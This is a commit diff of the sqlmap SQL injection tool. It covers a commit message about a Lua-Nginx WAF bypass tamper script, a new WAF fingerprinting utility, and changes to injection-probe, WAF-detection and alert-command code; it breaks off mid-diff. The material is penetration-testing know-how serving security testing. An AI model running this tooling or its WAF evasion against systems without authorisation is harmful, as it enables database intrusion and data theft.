Manual tagging (automatic tagging failed for some reason)

* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py

README.md

@@ -1,10 +1,10 @@
 # sqlmap
 
-[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
+**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
 
 Screenshots
 ----

doc/CHANGELOG.md

@@ -3,7 +3,7 @@
 * Implemented support for automatic decoding of page content through detected charset.
 * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
 * Major improvements to program stabilization based on user reports.
-* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
+* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
 * Fixed major bug with DNS leaking in Tor mode.
 * Added wordlist compilation made of the most popular cracking dictionaries.
 * Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
 * Added option `--csv-del` for manually setting delimiting character used in CSV output.
 * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
 * Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
-* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
+* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
 * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
 * Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
 * Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
 * Added option `--host` to set the HTTP Host header value.
 * Added switch `--hostname` to turn on retrieval of DBMS server hostname.
 * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
-* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection.
+* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
 * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
 * Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
 * Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
 * Added option `--skip` to skip testing of given parameter(s).
 * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
 * Added switch `--skip-urlencode` to skip URL encoding of payload data.
-* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
+* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
 * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
 * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
 * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.

doc/THANKS.md

@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
 * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
 * for his great Metasploit WMAP Framework
 
+Jennifer Torres, <jtorresf42(at)gmail.com>
+* for contributing a tamper script luanginx.py
+
 Sandro Tosi, <matrixhasu(at)gmail.com>
 * for helping to create sqlmap Debian package correctly
 
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
 
 Patrick Webster, <patrick(at)aushack.com>
 * for suggesting an enhancement
+* for donating to sqlmap development (from OSI.Security)
 
 Ed Williams, <ed.williams(at)ngssecure.com>
 * for suggesting a minor enhancement

extra/mssqlsig/update.py

@@ -1,137 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-import codecs
-import os
-import re
-import urllib2
-import urlparse
-
-from xml.dom.minidom import Document
-
-# Path to the XML file with signatures
-MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
-
-# Url to update Microsoft SQL Server XML versions file from
-MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
-
-def updateMSSQLXML():
-    if not os.path.exists(MSSQL_XML):
-        errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
-        print errMsg
-        return
-
-    infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
-    print infoMsg
-
-    try:
-        req = urllib2.Request(MSSQL_VERSIONS_URL)
-        f = urllib2.urlopen(req)
-        mssqlVersionsHtmlString = f.read()
-        f.close()
-    except urllib2.URLError:
-        __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
-        __mssqlHostname = __mssqlPath[1]
-
-        warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
-        warnMsg += " check your Internet connection and retry"
-        print warnMsg
-
-        return
-
-    releases = re.findall(r"class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
-    releasesCount = len(releases)
-
-    # Create the minidom document
-    doc = Document()
-
-    # Create the <root> base element
-    root = doc.createElement("root")
-    doc.appendChild(root)
-
-    for index in xrange(0, releasesCount):
-        release = releases[index]
-
-        # Skip Microsoft SQL Server 6.5 because the HTML
-        # table is in another format
-        if release == "6.5":
-            continue
-
-        # Create the <signatures> base element
-        signatures = doc.createElement("signatures")
-        signatures.setAttribute("release", release)
-        root.appendChild(signatures)
-
-        startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
-
-        if index == releasesCount - 1:
-            stopIdx = len(mssqlVersionsHtmlString)
-        else:
-            stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
-
-        mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
-        servicepackVersion = re.findall(r"</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
-
-        for servicePack, version in servicepackVersion:
-            if servicePack.startswith(" "):
-                servicePack = servicePack[1:]
-            if "/" in servicePack:
-                servicePack = servicePack[:servicePack.index("/")]
-            if "(" in servicePack:
-                servicePack = servicePack[:servicePack.index("(")]
-            if "-" in servicePack:
-                servicePack = servicePack[:servicePack.index("-")]
-            if "*" in servicePack:
-                servicePack = servicePack[:servicePack.index("*")]
-            if servicePack.startswith("+"):
-                servicePack = "0%s" % servicePack
-
-            servicePack = servicePack.replace("\t", " ")
-            servicePack = servicePack.replace("No SP", "0")
-            servicePack = servicePack.replace("RTM", "0")
-            servicePack = servicePack.replace("TM", "0")
-            servicePack = servicePack.replace("SP", "")
-            servicePack = servicePack.replace("Service Pack", "")
-            servicePack = servicePack.replace("<a href=\"http:", "")
-            servicePack = servicePack.replace("  ", " ")
-            servicePack = servicePack.replace("+ ", "+")
-            servicePack = servicePack.replace(" +", "+")
-
-            if servicePack.endswith(" "):
-                servicePack = servicePack[:-1]
-
-            if servicePack and version:
-                # Create the main <card> element
-                signature = doc.createElement("signature")
-                signatures.appendChild(signature)
-
-                # Create a <version> element
-                versionElement = doc.createElement("version")
-                signature.appendChild(versionElement)
-
-                # Give the <version> elemenet some text
-                versionText = doc.createTextNode(version)
-                versionElement.appendChild(versionText)
-
-                # Create a <servicepack> element
-                servicepackElement = doc.createElement("servicepack")
-                signature.appendChild(servicepackElement)
-
-                # Give the <servicepack> elemenet some text
-                servicepackText = doc.createTextNode(servicePack)
-                servicepackElement.appendChild(servicepackText)
-
-    # Save our newly created XML to the signatures file
-    mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
-    doc.writexml(writer=mssqlXml, addindent="    ", newl="\n")
-    mssqlXml.close()
-
-    infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
-    print infoMsg
-
-if __name__ == "__main__":
-    updateMSSQLXML()

extra/shutils/pypi.sh

@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
 setup(
     name='sqlmap',
     version='$VERSION',
-    description="Automatic SQL injection and database takeover tool",
+    description='Automatic SQL injection and database takeover tool',
+    long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
     author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
     author_email='[email protected], [email protected]',
-    url='https://sqlmap.org',
+    url='http://sqlmap.org',
     download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
     license='GNU General Public License v2 (GPLv2)',
     packages=find_packages(),

extra/wafdetectify/__init__.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+pass

extra/wafdetectify/wafdetectify.py

@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import cookielib
+import glob
+import httplib
+import inspect
+import os
+import re
+import subprocess
+import sys
+import urllib2
+
+sys.dont_write_bytecode = True
+
+NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
+TIMEOUT = 10
+HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
+SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
+LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
+CACHE = {}
+WAF_FUNCTIONS = []
+
+def get_page(get=None, url=None, host=None, data=None):
+    key = (get, url, host, data)
+
+    if key in CACHE:
+        return CACHE[key]
+
+    page, headers, code = None, {}, httplib.OK
+
+    url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
+    if not url.startswith("http"):
+        url = "http://%s" % url
+
+    try:
+        req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
+        conn = urllib2.urlopen(req, timeout=TIMEOUT)
+        page = conn.read()
+        headers = conn.info()
+    except Exception, ex:
+        code = getattr(ex, "code", None)
+        page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
+        headers = ex.info() if hasattr(ex, "info") else {}
+
+    result = CACHE[key] = page, headers, code
+
+    return result
+
+def colorize(message):
+    if not subprocess.mswindows and sys.stdout.isatty():
+        message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
+        message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
+        message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
+
+    return message
+
+def main():
+    global WAF_FUNCTIONS
+
+    print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
+
+    if len(sys.argv) < 2:
+        exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
+
+    cookie_jar = cookielib.CookieJar()
+    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
+    urllib2.install_opener(opener)
+
+    sys.path.insert(0, SQLMAP_DIR)
+
+    for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
+        dirname, filename = os.path.split(found)
+        dirname = os.path.abspath(dirname)
+
+        if filename == "__init__.py":
+            continue
+
+        if dirname not in sys.path:
+            sys.path.insert(0, dirname)
+
+        try:
+            if filename[:-3] in sys.modules:
+                del sys.modules[filename[:-3]]
+            module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
+        except ImportError, msg:
+            exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
+
+        _ = dict(inspect.getmembers(module))
+        if "detect" not in _:
+            exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
+        else:
+            WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
+
+    WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
+
+    print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
+
+    found = False
+    for function, product in WAF_FUNCTIONS:
+        if found and "unknown" in product.lower():
+            continue
+
+        if function(get_page):
+            print colorize("[!] WAF/IPS identified as '%s'" % product)
+            found = True
+
+    if not found:
+        print colorize("[o] nothing found")
+
+    print
+
+if __name__ == "__main__":
+    main()

lib/controller/action.py

@@ -140,11 +140,11 @@ def action():
         conf.dbmsHandler.udfInjectCustom()
 
     # File system options
-    if conf.rFile:
+    if conf.fileRead:
-        conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
+        conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
 
-    if conf.wFile:
+    if conf.fileWrite:
-        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
+        conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
 
     # Operating system options
     if conf.osCmd:

lib/controller/checks.py

@@ -13,6 +13,7 @@ import random
 import re
 import socket
 import subprocess
+import sys
 import tempfile
 import time
 
@@ -69,10 +70,12 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
@@ -87,9 +90,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
 from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
+from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
@@ -357,7 +363,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Parse test's <request>
             comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
-            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
 
             for boundary in boundaries:
                 injectable = False
@@ -468,13 +474,13 @@ def checkSqlInjection(place, parameter, value):
                     # payload was successful
                     # Parse test's <response>
                     for method, check in test.response.items():
-                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
 
                         # In case of boolean-based blind SQL injection
                         if method == PAYLOAD.METHOD.COMPARISON:
                             # Generate payload used for comparison
                             def genCmpPayload():
-                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
 
                                 # Forge response payload by prepending with
                                 # boundary's prefix and appending the boundary's
@@ -761,7 +767,7 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                 logger.info(infoMsg)
 
-                                process = subprocess.Popen(conf.alert, shell=True)
+                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                 process.wait()
 
                             kb.alerted = True
@@ -856,8 +862,8 @@ def heuristicCheckDbms(injection):
         if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
             continue
 
-        if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
+        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
-            if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
+            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                 retVal = dbms
                 break
 
@@ -893,7 +899,7 @@ def checkFalsePositives(injection):
 
         kb.injection = injection
 
-        for i in xrange(conf.level):
+        for level in xrange(conf.level):
             while True:
                 randInt1, randInt2, randInt3 = (_() for j in xrange(3))
 
@@ -989,11 +995,6 @@ def checkFilteredChars(injection):
     kb.injection = popValue()
 
 def heuristicCheckSqlInjection(place, parameter):
-    if kb.nullConnection:
-        debugMsg = "heuristic check skipped because NULL connection used"
-        logger.debug(debugMsg)
-        return None
-
     if kb.heavilyDynamic:
         debugMsg = "heuristic check skipped because of heavy dynamicity"
         logger.debug(debugMsg)
@@ -1118,14 +1119,6 @@ def checkDynParam(place, parameter, value):
     try:
         payload = agent.payload(place, parameter, value, getUnicode(randInt))
         dynResult = Request.queryPage(payload, place, raise404=False)
-
-        if not dynResult:
-            infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
-            logger.info(infoMsg)
-
-            randInt = randomInt()
-            payload = agent.payload(place, parameter, value, getUnicode(randInt))
-            dynResult = Request.queryPage(payload, place, raise404=False)
     except SqlmapConnectionException:
         pass
 
@@ -1229,7 +1222,7 @@ def checkStability():
             logger.error(errMsg)
 
     else:
-        warnMsg = "target URL content is not stable. sqlmap will base the page "
+        warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
         warnMsg += "comparison on a sequence matcher. If no dynamic nor "
         warnMsg += "injectable parameters are detected, or in case of "
         warnMsg += "junk results, refer to user's manual paragraph "
@@ -1314,9 +1307,8 @@ def checkRegexp():
     rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
 
     if not re.search(conf.regexp, rawResponse, re.I | re.M):
-        warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
+        warnMsg = "you provided '%s' as the regular expression " % conf.regexp
-        warnMsg += "match, but such a regular expression does not have any "
+        warnMsg += "which does not have any match within the target URL raw response. sqlmap "
-        warnMsg += "match within the target URL raw response, sqlmap "
         warnMsg += "will carry on anyway"
         logger.warn(warnMsg)
 
@@ -1335,7 +1327,7 @@ def checkWaf():
     if _ is not None:
         if _:
             warnMsg = "previous heuristics detected that the target "
-            warnMsg += "is protected by some kind of WAF/IPS/IDS"
+            warnMsg += "is protected by some kind of WAF/IPS"
             logger.critical(warnMsg)
         return _
 
@@ -1343,7 +1335,7 @@ def checkWaf():
         return None
 
     infoMsg = "checking if the target is protected by "
-    infoMsg += "some kind of WAF/IPS/IDS"
+    infoMsg += "some kind of WAF/IPS"
     logger.info(infoMsg)
 
     retVal = False
@@ -1357,7 +1349,12 @@ def checkWaf():
         value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
         value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
 
+    pushValue(kb.redirectChoice)
+    pushValue(kb.resendPostOnRedirect)
     pushValue(conf.timeout)
+
+    kb.redirectChoice = REDIRECTION.YES
+    kb.resendPostOnRedirect = False
     conf.timeout = IDS_WAF_CHECK_TIMEOUT
 
     try:
@@ -1366,16 +1363,19 @@ def checkWaf():
         retVal = True
     finally:
         kb.matchRatio = None
+
         conf.timeout = popValue()
+        kb.resendPostOnRedirect = popValue()
+        kb.redirectChoice = popValue()
 
     if retVal:
         warnMsg = "heuristics detected that the target "
-        warnMsg += "is protected by some kind of WAF/IPS/IDS"
+        warnMsg += "is protected by some kind of WAF/IPS"
         logger.critical(warnMsg)
 
         if not conf.identifyWaf:
             message = "do you want sqlmap to try to detect backend "
-            message += "WAF/IPS/IDS? [y/N] "
+            message += "WAF/IPS? [y/N] "
 
             if readInput(message, default='N', boolean=True):
                 conf.identifyWaf = True
@@ -1399,7 +1399,7 @@ def identifyWaf():
     kb.testMode = True
 
     infoMsg = "using WAF scripts to detect "
-    infoMsg += "backend WAF/IPS/IDS protection"
+    infoMsg += "backend WAF/IPS protection"
     logger.info(infoMsg)
 
     @cachedmethod
@@ -1426,7 +1426,7 @@ def identifyWaf():
             continue
 
         try:
-            logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
+            logger.debug("checking for WAF/IPS product '%s'" % product)
             found = function(_)
         except Exception, ex:
             errMsg = "exception occurred while running "
@@ -1436,19 +1436,19 @@ def identifyWaf():
             found = False
 
         if found:
-            errMsg = "WAF/IPS/IDS identified as '%s'" % product
+            errMsg = "WAF/IPS identified as '%s'" % product
             logger.critical(errMsg)
 
             retVal.append(product)
 
     if retVal:
-        if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
+        if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
             handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
             os.close(handle)
             with openFile(filename, "w+b") as f:
                 f.write(kb.wafSpecificResponse)
 
-            message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
+            message = "WAF/IPS specific response can be found in '%s'. " % filename
             message += "If you know the details on used protection please "
             message += "report it along with specific response "
             message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1465,7 +1465,7 @@ def identifyWaf():
         if not choice:
             raise SqlmapUserQuitException
     else:
-        warnMsg = "WAF/IPS/IDS product hasn't been identified"
+        warnMsg = "WAF/IPS product hasn't been identified"
         logger.warn(warnMsg)
 
     kb.testType = None
@@ -1535,6 +1535,10 @@ def checkConnection(suppressOutput=False):
                 errMsg = "problem occurred while "
                 errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
                 raise SqlmapConnectionException(errMsg)
+            except UnicodeError, ex:
+                errMsg = "problem occurred while "
+                errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapDataException(errMsg)
 
     if not suppressOutput and not conf.dummy and not conf.offline:
         infoMsg = "testing connection to the target URL"
@@ -1547,6 +1551,10 @@ def checkConnection(suppressOutput=False):
 
         kb.errorIsNone = False
 
+        if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
+            singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
+            conf.disablePrecon = True
+
         if not kb.originalPage and wasLastResponseHTTPError():
             errMsg = "unable to retrieve page content"
             raise SqlmapConnectionException(errMsg)

lib/controller/controller.py

@@ -56,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
+from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
+from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import IGNORE_PARAMETERS
@@ -243,16 +245,20 @@ def _saveToResultsFile():
 
         results[key].extend(injection.data.keys())
 
-    for key, value in results.items():
+    try:
-        place, parameter, notes = key
+        for key, value in results.items():
-        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
+            place, parameter, notes = key
-        conf.resultsFP.write(line)
+            line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
+            conf.resultsFP.write(line)
 
-    if not results:
+        if not results:
-        line = "%s,,,,%s" % (conf.url, os.linesep)
+            line = "%s,,,,%s" % (conf.url, os.linesep)
-        conf.resultsFP.write(line)
+            conf.resultsFP.write(line)
 
-    conf.resultsFP.flush()
+        conf.resultsFP.flush()
+    except IOError, ex:
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        raise SqlmapSystemException(errMsg)
 
 @stackedmethod
 def start():
@@ -307,6 +313,7 @@ def start():
             conf.cookie = targetCookie
             conf.httpHeaders = list(initialHeaders)
             conf.httpHeaders.extend(targetHeaders or [])
+            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
 
             initTargetEnv()
             parseTargetUrl()
@@ -505,7 +512,7 @@ def start():
                             logger.info(infoMsg)
 
                         # Ignore session-like parameters for --level < 4
-                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
+                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                             testSqlInj = False
 
                             infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -524,7 +531,7 @@ def start():
 
                                     testSqlInj = False
                             else:
-                                infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
+                                infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
                                 logger.info(infoMsg)
 
                         kb.testedParams.add(paramKey)

lib/controller/handler.py

@@ -10,6 +10,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
+from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
